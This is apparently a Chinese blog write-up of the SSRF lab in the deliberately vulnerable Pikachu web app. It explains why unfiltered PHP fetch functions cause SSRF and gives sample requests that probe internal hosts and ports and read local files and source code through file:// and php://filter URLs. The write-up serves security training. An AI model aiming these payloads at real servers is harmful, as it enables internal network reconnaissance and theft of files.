Pikachu SSRF(Server-Side Request Forgery:服务器端请求伪造)

Pikachu SSRF(Server-Side Request Forgery:服务器端请求伪造)

一、SSRF概述

SSRF(Server-Side Request Forgery:服务器端请求伪造)

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

数据流:攻击者----->服务器---->目标地址

根据后台使用的函数的不同,对应的影响和利用方法又有不一样

PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()

如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤。

你可以根据"SSRF"里面的项目来搞懂问题的原因

二、SSRF（curl）实验步骤

第一步：打开目标网站，并根据提示点击。


观察URL，发现它传递了一个URL给后台
第二步：我们可以把 url 中的内容改成内网的其他服务器上地址和端口，探测内网的其他信息，比如端口开放情况，下面这个例子就探测出10.2.7.24这台机器开放了3306端口.

三、SSRF（file_get_content）实验步骤

第二步：危害
file_get_content 可以对本地和远程的文件进行读取，比如
http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_fgc.php?file=http://10.2.7.24/ceshi.php

http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_fgc.php?file=file:///E://ceshi.txt

读取phpinfo.php代码内容显示为base64的形式
http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=…/…/…/phpinfo.php

百度搜索 base64解密，即会出现base64解密网站，把内容复制进去，点击base64解密

解密结果如下图所示:

四、我的公众号

后续操作请持续关注哦！！！
了解更多请关注下列公众号：
😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗😗😗😗😗😗😗😗😗

😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗😗😗😗😗😗😗😗😗